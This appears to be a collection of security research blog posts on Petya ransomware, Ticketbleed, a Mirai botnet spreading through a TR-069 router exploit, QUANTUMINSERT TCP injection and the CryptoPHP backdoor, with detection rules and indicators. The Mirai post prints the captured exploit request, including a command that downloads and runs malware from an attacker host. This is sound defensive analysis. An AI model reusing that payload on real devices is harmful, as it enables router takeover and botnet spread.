Liveblog: Huge Petya ransomware wave

Revision history:

  • Update 2 (current): 28th of June, 2017 22:45 (UTC +2) – Added Snort rule for detection purposes
  • Update 1: 27th of June, 2017 18:04 (UTC +2) – Initial post


A new variant of the Petya ransomware started to spread havoc within various companies around the world the 27th of June 2017 . The first news came from the Ukraine where at least two energy companies were struck.


This Petya variant comes only weeks after the WannaCry hack made headlines around the world where hundreds of thousands devices were infected.

This variant of Petya has more spreading methods than WannaCry (in specific PSEXEC and WMI) but does share at least one of the exploits, namely: EternalBlue, which is an exploit leaked by ‘The Shadowbrokers’ and originally used by the NSA.

The Petya ransomware was in the news earlier this year for encrypting the entire hardisk rather than only files on local and remote drives, something which is more common with other ransomware.


Cisco Talos reports that the infections started in Ukraine following the auto-update feature of software by the Ukrainian company Me-Doc. Attackers likely got access to the Me-Doc update servers, using the update feature of the software to infect all their, mostly Ukrainian customers. This explains the disruptions observed within various Ukrainian companies, including airports, hospitals and other vital infrastructure. This supports what Fox-IT is observing, affected companies have business in Ukraine and observed initial Petya activity from those networks.

Because of the various spreading mechanisms of Petya the ransomware managed to reach companies in other countries, most likely as a result of existing network connections between (branch) offices or suppliers.


When a computer gets infected with this specific version of Petya, it starts to encrypt files on the local machine and also attempts to spread across the local network to other machines.

After a number of hours, the infected client is restarted and is faced with a ransom screen. At this point it is no longer possible to start the Windows operating system. On this ransom screen a bitcoin address is shown, together with a string of text that uniquely identifies this infection as well as the email address to contact the authors when the payment has been made.

Infection vector

Where WannaCry was scanning random IP addresses on the internet, and in that way infecting other companies, this version of Petya is only scanning internal hosts. This means that there must be a different initial infection vector. What this vector exactly is, is unknown for the time being. If the ransomware is run on a Windows Server, it will attempt to spread to all connected clients by looking at DHCP-leases, to greatly improve spreading speed within a network.


The following measures can be taken to limit the chances of infection:

  • Apply Windows update MS17-010
  • Disable the outdated protocol SMBv1
  • Limit the use of accounts that are ‘local administrator’
  • Make back-ups and verify that they can be restored


Currently the Fox-IT CTMP network module is able to detect a number of the spreading methods of Petya and work is being done to identify other methods of spreading. Among others the following rule has been developed:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"FOX-SRT - Trojan - Possible Petya ransomware connection"; flow:established,to_server; uricontent:"admin$/"; content:"User-Agent: Microsoft-WebDAV-MiniRedir/"; http_header; classtype:trojan-activity; threshold:type limit, track by_src, count 1, seconds 600; reference:url,; sid:21002170; rev:1;)

Detecting Ticketbleed (CVE-2016-9244)

On Thursday February 9th the vulnerability named ’Ticketbleed’ was made public. The name of this vulnerability does not just sound similar to Heartbleed, but also shares the same implication: remote reading of uninitialized memory. At the time we published Snort IDS detection rules for the Heartbleed vulnerability in OpenSSL, and have now decided to do the same for the F5 vulnerability: Ticketbleed.

About Ticketbleed:
The vulnerability that would later become known as Ticketbleed, was identified by Filippo Valsorda following a support ticket at Cloudflare. The symptoms were failing connections between applications using the TLS Library of the Go programming language and F5 BIG-IP appliances. Filippo identified that SSL resumption requests were failing due to an assumption of the Session Ticket ID length in F5’s TLS stack. This exposes up to 31 bytes of memory per session, a lot less than Hearbleed, which leaked 64k bytes at a time. For more technical details see Finding Ticketbleed post by Filippo.

Those running vulnerable F5 Appliances have two options to mitigate this vulnerability. One option is to disable Session Tickets entirely on the F5, this should stop the leaking of memory immediately and at virtually no cost. The recommended fix is to upgrade to the latest firmware which plugs this specific problem entirely as described in the following KB article K05121675.

At Fox-IT we frequently write IDS detection rules, especially for customers, APTs, hacking tools or new vulnerabilities like Ticketbleed. The Ticketbleed website bears the following warning for those writing IDS signatures to detect the vulnerability:

The issue can be identified by passive traffic monitoring, as the Session ID field is unencrypted.

However, I’d like to strongly discourage IDS vendors from making signatures that simply detect Session IDs shorter than 32 bytes. Any length between 1 and 32 bytes is legal according to the RFC specification.

The Go standard library legitimately uses 16 bytes Session IDs, and browsers considered using 1 byte Session IDs for this purpose. It’s important for security software not to needlessly constrain future decisions in that direction.

Taking this into account, we wrote two signatures for Snort IDS. The first rule searches for ‘Client Hello’ packets that have a session identifier that is shorter than 32 bytes. Using the ‘flowbits’ feature of Snort, the second signature looks for a ‘Server Hello’ packet that does contain a 32 byte session identifier. Writing rules to match binary protocols such as TLS can be challenging and has a higher chance of false positives. While this signature has not resulted in any False Positives on our side, we welcome any feedback as a result of these rules.

The two rules can be found on our GitHub Gists:

When trying to verify hits in Wireshark we used the following expression filters:

Identify packets containing SSL session identifiers:


Search for session identifiers smaller than 32 bytes and equal to 32 bytes:

(ssl.handshake.session_id_length > 0 && ssl.handshake.session_id_length < 32) || ssl.handshake.session_id_length == 32

If the above filter returns two packets, you are likely dealing with a vulnerable F5 appliance. As can be seen in the following screenshot:


Wireshark filter matching Client en Server Hello with different ‘Session ID’ lengths.

Special thanks to Yun Zheng Hu for writing these rules!

Recent vulnerability in Eir D1000 Router used to spread updated version of Mirai DDoS bot

Over the last two months a lot has been written about the DDoS malware called Mirai. The first known attack, that only later was attributed to Mirai, was against the Krebs On Security blog on September 20th. It is likely that this same botnet attacked Dyn a month later, causing a massive outage among popular websites world wide.

Previous attacks:

One of the attack types that appears to be new to the scene is the use of the Generic Router Encapsulation (GRE) protocol in order to flood victims with packets. This protocol was used against Krebs, but has also been mentioned before. More specifically in a piece by Arbor Networks about an IoT botnet, attacking the networks of the Olympics in Brazil. This could be Mirai, but the first known command and control (C2) server for Mirai was not registered until 2016-09-14. So either it was a different IoT botnet, such as Linux/Fgt (by Lizardsquad) or there was a previous Mirai botnet.

Shortly after the attack against Dyn, the main botnet, using C2 server, went quiet and the source code of the Mirai botnet was released:


As a result of the source code becoming public, many new Mirai botnets started to appear. These botnets were a lot smaller than the original one. This is likely because the original botnet only spread by using default credentials of Telnet enabled devices and scanning the internet for them. So a limited amount of victims, most of which were likely already infected by the original botnet and because of that, blocking new infections.

Two researchers (@MalwareTechBlog & @2sec4u) created a public twitter feed tracking attacks launched by these Mirai botnets (@MiraiAttacks), so far they have identified at least 79 sub-botnets.

Recently there were claims of a bigger Mirai botnet, one that was bigger than all of the other ones combined. The operators of this botnet are selling access to this botnet and claim to have over 400.000 bots and using different spreading techniques than the original Mirai bot. The previously listed Mirai Tracker lists this botnet as ‘#14’.

Mirai botnet spreading using SOAP exploit:

A Mirai botnet using a different spreading approach than the original bot was observed by Fox-IT on Sunday. Just as the original botnet, the bots start attacking other devices on the internet in an attempt to infect them. Where the original bot uses Telnet and a set of default credentials, this version uses a recently documented SOAP exploit.

The bot is using the following POST request on TCP port 7547 to infect other devices:

POST /UD/act?1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" 
<SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> 
cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1

A write-up on how this exploit works is provided by ‘Kenzo2017’ in his blogpost. The exploit is located in the implementation of a service that allows ISPs to configure and modify settings of specific modems using the TR-069 protocol. One of those settings allows, by mistake, the execution of Busybox commands such as wget to download malware. BusyBox is software that provides several stripped-down Unix tools in a single executable file.

In the exploit code you can see that the protocol allows for the ISP to set the NTP-servers which the modems should use, but rather than entering an IP or a hostname, a bash/busybox command is given:

`cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1`

We can break this command up in multiple parts:

– ‘wget’ is used to retrieve the malware from http://l.ocalhost[.]host.
– ‘chmod 777 1’ makes the file executable.
– ‘./1’ executes the malware on the system.

So could this be the Botnet #14, where the authors are boasting 400k infections?
This is possible, but for now difficult to verify. What we do know is that these management interfaces for modems are being exposed at various internet service providers around the world. In Germany this has lead to big problems for Deutsche Telecom, where an attacker disabled the internet for 900.000 modems, possibly using the same vulnerability. For now it is unclear if there was an attempt to load Mirai on these devices, or whether this is an unrelated attack.

This is likely not the last we will be seeing of Mirai and its successors. New spreading mechanisms and DDoS attack methods are being added in this gold rush for new victims, something we outlined more high level in a previous blog post.
Fox-IT is observing this botnet for future activity and possible victims of its DDoS attacks.


  • ISPs should configure the modems to only allow connections to their management interfaces from the ISPs own management network, not the whole world.
  • Users could replace these modems if possible with their own, better secured devices.
  • Contact the ISP and vendor of the modems for patches that might resolve the vulnerability.


Hash: c723eebacfc8b845efbcc33c43dd3567dd026b1d (MIPS)
Hash: f37d2f6ff24429db2fc83434e663042c2667fa41 (ARM)

Hostname: l.ocalhost[.]host (download location)
Hostname: timeserver[.]host (c2 server)

New download location observed in Fox-IT honeypots:
Hostname: tr069[.]pw (download location)
Hostnane: p.ocalhost[.]host (download location)
IP: 5.8.65[.]5 (download location)

The following Snort IDS rule can be used to detect spreading attempts against your network:

alert tcp $EXTERNAL_NET any -> $HOME_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit incoming”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_dst, count 1, seconds 60; classtype:attempted-admin; reference:url,; sid:1; rev:1;)

By changing the HOME_NET and EXTERNAL_NET in this rule, it can be used to detect clients within your network attacking hosts on the internet:

alert tcp $HOME_NET any -> $EXTERNAL_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit outgoing”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_src, count 1, seconds 60; classtype:attempted-admin; reference:url,; sid:2; rev:1;)

These Snort rules can also be found on our Github.

Deep dive into QUANTUM INSERT

Summary and recommendations

QUANTUMINSERT (QI) is actually a relatively old technique. In order to exploit it, you will need a monitoring capabilities to leak information of observed TCP sessions and a host that can send spoofed packets. Your spoofed packet also needs to arrive faster than the original packet to be able to be successful.

Any nation state could perform QUANTUM attacks as long as the traffic passes through their country or possesses other capabilities to get the required TCP session data.

QUANTUMINSERT could be used for lateral movement within internal networks.

Detection is possible by looking for duplicate TCP packets but with different payload and other anomalies in TCP streams.

The usage of HTTPS in combination with HSTS can reduce the effectiveness of QI. Also using a content delivery network (CDN) that offers low latency can make it very difficult for the QI packet to win the race with the real server.

Deep dive into QUANTUM INSERT

The documents leaked by former National Security Agency (NSA) contractor Edward Snowden mention dozens of hard- and software attacks available to the NSA to gain and maintain access to target networks.

There has been some effort at recreating and open sourcing some of the hardware implants. Progress of this effort can be found at the NSA Playset[1]
website. Though various articles and blogs have been focussed on the attacks detailed in the leaked slides, little has actually been done on the detection side of things. We feel that this is important as with the publication of these documents, attacks like these could become more common.

Our focus for this article will be on performing and detecting one specific attack in the QUANTUMTHEORY[2] toolset called QUANTUMINSERT (QI). While this weakness in TCP has been known about for a long time, the NSA has allegedly deployed this attack successfully against targets..We will explain the attack, how it can be performed, and how you can detect it using Intrusion Detection Systems like Bro, Snort and Suricata. The code we used to test this attack is available on our GitHub page.

What is a QUANTUM INSERT attack

QUANTUMINSERT is described as a ‘HTML Redirection’ attack by injecting malicious content into a specific TCP session. A session is selected for injection based on ‘selectors’[3], such as a persistent tracking cookie that identifies a user for a longer period of time.

The injection is done by observing HTTP requests by means of eavesdropping on network traffic. When an interesting target is observed, another device, the shooter, is tipped to send a spoofed TCP packet. In order to craft and spoof this packet into the existing session, information about this session has to be known by the shooter.

All the information required by the shooter is available in the TCP packet containing the HTTP request:

  • Source & Destination IP address
  • Source & Destination port
  • Sequence & Acknowledge numbers

For the attack to succeed the packet injected by the shooter has to arrive at the target before the ‘real’ response of the webserver. By exploiting this speed difference or race condition, one can impersonate the webserver.

A video was posted online by The Intercept that shows the inner workings of QUANTUMHAND, which uses QUANTUMINSERT against targets visiting Facebook:

We made the following animation showing a more high level overview of this attack:

Who is able to perform these attacks

Anyone who can passively or actively monitor a network and send spoofed packets can perform QUANTUM-like attacks. The NSA is allegedly able to perform this attack on a large scale on the internet and with a high success rate, which of course not everyone can simply do. This is because it requires the capability to listen in on potentially high volumes of internet traffic, which requires substantial resources and a fast infrastructure. This means that internet service providers (ISP) can potentially also perform these attacks.

A nation state could perform QUANTUM-like attacks when traffic passes through their country. An example of this is the recent research on China’s Great Cannon[4] by CitizenLab that confirms this.

What are QUANTUMINSERTS used for

NSA’s QUANTUM attacks are possible against various protocols and for different purposes. For both offensive and defensive capabilities as the following table shows:

Attack Description


A man-on-the-side attack. Brief hijack of connection to redirect target to exploit server.


Capable of hijacking idle IRC bots and hijacking c2 communication from bots.


Enhances QIs effectiveness against proxies and other hard to reach targets


DNS injection/redirection of A records. Targets single hosts or chaching name servers


Exploits the computers of Facebook users


Denies access to a webpage by injecting/spoofing RST packets.


File download/upload disruption and corruption.


All of these programs attempt to race the response packet to the target before the response of the real server arrives.

NSA has QUANTUMINSERT capabilities since 2005. The first QUANTUM tool was QUANTUMSKY, realised in 2004. The most recent development, according to the slides was done in October of 2010.

Man-on-the-Side vs Man-in-the-Middle

The QUANTUM attacks described in the Snowden leaks are all man-on-the-side (MOTS) attacks, while China’s Great Cannon attack uses man-in-the-middle (MITM) capabilities. There is been some misinformation on the matter in write-ups.

The difference between the two can be observed by looking at the network traffic of the attacks[4]The Great Firewall of China (not to be confused with The Great Cannon), injects additional TCP reset (RST) packets, and the original real responses can be observed after these RST packets. This is a sign of a MOTS attack, rather than a MITM attack. The network traffic related to the Great Cannon showed only modified packets and no original responses. In other words: the original packets were replaced. This is a sign of a MITM attack, rather than a MOTS attack. The CitizenLab report describes this in great detail.

Monitor and shooter locations

The attack can be done against remote networks on the internet, but also inside internal networks for lateral movement purposes. The closer the monitor and shooters are to the target, the higher the success rate.

Similar attacks

There has been work on injecting packet into TCP sessions. Some tools that perform a similar attack to QUANTUMINSERT are:

  • The attack performed by Kevin Mitnick back in 1994 used the same principles as QUANTUMINSERT, though he predicted TCP sequence numbers rather than observing them[5].
  • Hunt, a tool released in 1999 was able to spoof and hijack connections.
  • TCP Session Hijacking by Cheese, an article released in 2009, describes the technique accompanied by source code showing how to do it[6].
  • AirPwn[7], a framework for 802.11 (wireless) packet injection.

How we performed a QUANTUMINSERT attack

We used three virtual machines (VM) to simulate the monitor, client and shooter, as described in the leaked slides. In this controlled environment it was relatively easy to outrace the server response and inject a HTTP response into the TCP session of the web browser.

The monitoring VM received a copy of all the client traffic and was configured to search for a specific pattern in the HTTP request. When a matching packet was found, the monitor service would notify the shooter about the current IPs, ports, sequence and ACK numbers of the session. The shooter would then send a spoofed TCP packet containing the right values for the session and a not so malicious HTTP response to prove the insert was successful.

The monitor is a simple Python script that can read Tcpdump or Tshark output for the required sequence numbers, ACK numbers, IP addresses, TCP ports and optionally HTTP cookie values.

The shooter is also written in Python using Scapy for crafting and sending the spoofed packets.

We then tested this code over the internet in a controlled environment. One of the harder parts was finding a service provider that permitted source IP spoofing close to our office.


Example inserted packet containing a HTTP 302 redirect response. The Content-Length of zero will cause the overlap of the original response to be ignored by the browser

The code to simulate the QI can be found on our GitHub repository:

Content of a QUANTUM INSERT payload

QUANTUMINSERT focuses on HTTP traffic and attempts to redirect the target to an exploit server. This means the packet will most likely contain a HTTP redirect or a HTML iframe to perform the redirect to an exploit server.It is also possible to exploit without redirection, using a browser vulnerability or malicious javascript.

While the QI can be done anywhere in a HTTP session, it is likely that the inject happens right after the HTTP GET requests that matches ‘selectors’ such as URL, source IP or Cookie header to identify and target specific users.

According to the slides, a QI is used for redirection to an exploit server but it can contain virtually any payload you want. For example, China’s Great Cannon inserted 3 TCP packets containing a malicious javascript to perform a denial of service (DDoS) attack on GitHub[8].

Detection of QUANTUM INSERT attacks

Among the leaked NSA documents was a slide from the Communications Security Establishment Canada describing how to detect QUANTUMINSERT attacks:

To clarify the above, the first content carrying packet is the first packet containing data received by the client from the server. If there are two packets received with the same sequence numbers but have a different payload, it is a possible QI attack.

Theoretically an insert can be done anywhere in the TCP session, for example in long lived HTTP/1.1 sessions. A redirect could also be performed that would have less than 10% difference with the real payload. For example by doing the QI on a similar domain name on a HTTP 302 redirect.

It is even possible to start ‘shooting’ before the client sends the HTTP request, resulting in a faster response than the real HTTP response. However, by doing so you will lose the ability to identify and target specific users. According to the leaked slides, NSA targeted clients with QUANTUMINSERT using selectors such as HTTP cookies.

So in practice we have to look for duplicate HTTP response packets with significant differences in their content.

In order to detect this using an IDS one would need to observe the network traffic between client and the internet.

Payload inconsistency

A client will receive duplicate TCP packets with the same sequence number but with a different payload. The first TCP packet will be the “inserted” one while the second is from the real server, but will be ignored by the client. Of course it could also be the other way around; if the QI failed because it lost the race with the real server response.


Example of duplicate sequence and ack numbers, but with different payload sizes.

Checking the first content carrying packet is probably the easiest way to detect a QI, but offers no guarantees, as an inject can be present later in the TCP session. Checking only the first content carry packet reduces the amount of false positives.

A retransmission with a different payload size will sometimes look like a QUANTUMINSERT, this can happen when a retransmission is cut short, for example during TCP window size changes.

TTL anomalies

The injected packets also show a difference in their Time To Live[9] (TTL) values. Because the QI packets are usually inserted closer to the target client, the TTL is relatively higher than that of the real responses, because they come from further away. While the initial TTL can be modified, it is difficult to exactly predict the correct TTL value.

Slight variations in TTL values are not unusual, due to route changes on the internet.

Other anomalies

Other anomalies can be seen if the spoofed packets are not carefully crafted. For example, the TCP Timestamp value is usually set if it was also set in the TCP SYN packet. However this could vary between operating systems.

Other values such as the Differentiated Services Code Point (DSCP) in the IP header can also be observed for anomalies.

Detection using IDS

We created a number of packet captures (pcaps) when performing the Quantum Insert attack, which can be found here:

This helped us with developing detection for a number of Intrusion Detection Systems and we hope others find these pcaps useful for further analysis and research.

While we have released Snort signatures in the past, we realised that this was not going to be enough to detect Quantum Insert. The Fox-IT Security Research Team successfully made detection for Quantum Insert and released this proof of concept code into the public domain on our GitHub:


We made custom patches to the Snort Stream pre-processor to be able to detect possible Quantum Inserts. We found this to be the most efficient way rather than creating our own pre-processor. When a possible QI is detected it will trigger an event and also try to log the payload of the other TCP packet that was inconsistent as extra data.

See the for more technical details:

We hope these patches will eventually find its way upstream.


We made a Bro policy to check for inconsistencies in the first content carrying packet. Keeping track of multiple packets would be better, if this could be done in the core functionality of Bro. We attempted to use the rexmit_inconsistency event, but this did not seem to work. Others have also reported this on the mailing lists[10], however it never got much attention. It should be feasible to improve Bro so that it can also keep track of older TCP segments, in order to detect QI like attacks. There’s even an official Bro ticket for this: BIT-1314[11].

See the for additional technical details:


We asked the lead developer of Suricata, Victor Julien, if he could verify Suricata’s coverage for QI by supplying him a pcap. Victor explained that Suricata has an event called ‘stream-event:reassembly_overlap_different_data’ that can be alerted on when triggered using a default signature. We received an additional signature that detects HTTP 302 responses in possible QI payloads.


Note that these detection methods are possibly not evasion proof, one could also easily spoof a FIN packet after the QI packet to close the session. This would stop tracking the TCP segments in most IDS systems. Later packets in this stream will not be matched with previous packets.

Other possibilities is to try to create a partial overlap of data, thus avoiding detection of duplicate sequence numbers.

Other work

The following blog post[12] describes how to perform QI containing Proof of Concept code to perform the attack:

HoneyBadger[13], is a comprehensive TCP stream analysis tool for detecting and recording TCP attacks written by David Stainton can most likely also detect this attack.

While writing this article a DoS attack on GitHub was going on and a analysis was posted by NETRESEC[8], we did not see duplicate packets in the screenshots that could indicate a QUANTUM (man on the side) attack. However, the difference in TTL values was noticeable.

The detection for this attack has been included in our Cyber Threat Management platform.



1. Nsaplayset website
2. Overview of QUATUMTHEORY
3. Selectors used by the NSA
4. Chinas Great Cannon
5. How Mitnick hacked Tsutomu Shimomura
6. TCP session hijacking by Cheese
7. Airpwn
8. Man on the side attack on GitHub.
9. Time To Live
10. Bro Mailing list
11. QI Bro ticket
12. Killing Schrodingers cat
13. HoneyBadger TCP stream analysis tool

CryptoPHP: Analysis of a hidden threat inside popular content management systems


Update: We’ve published statistics on CryptoPHP and some advice: CryptoPHP a week later: more than 23.000 sites affected

CryptoPHP is a threat that uses backdoored Joomla, WordPress and Drupal themes and plug-ins to compromise webservers on a large scale. By publishing pirated themes and plug-ins free for anyone to use instead of having to pay for them, the CryptoPHP actor is social engineering site administrators into installing the included backdoor on their server.

After being installed on a webserver the backdoor has several options of being controlled which include command and control server communication, mail communication as well as manual control.

Operators of CryptoPHP currently abuse the backdoor for illegal search engine optimization, also known as Blackhat SEO. The backdoor is a well developed piece of code and dynamic in its use. The capabilities of the CryptoPHP backdoor include:

  • Integration into popular content management systems like WordPress, Drupal and Joomla
  • Public key encryption for communication between the compromised server and the command and control (C2) server
  • An extensive infrastructure in terms of C2 domains and IP’s
  • Backup mechanisms in place against C2 domain takedowns in the form of email communication
  • Manual control of the backdoor besides the C2 communication
  • Remote updating of the list of C2 servers
  • Ability to update itself

We’ve identified thousands of backdoored plug-ins and themes which contained 16 versions of CryptoPHP as of the 12th of November 2014. Their first ever version went live on the 25th of September 2013 which was version 0.1, they are currently on version 1.0a which was first released on the 12th of November 2014. We cannot determine the exact number of affected websites but we estimate that, at least a few thousand websites are compromised by CryptoPHP.

Read all the details in the whitepaper: CryptoPHP-Whitepaper-FoxSRT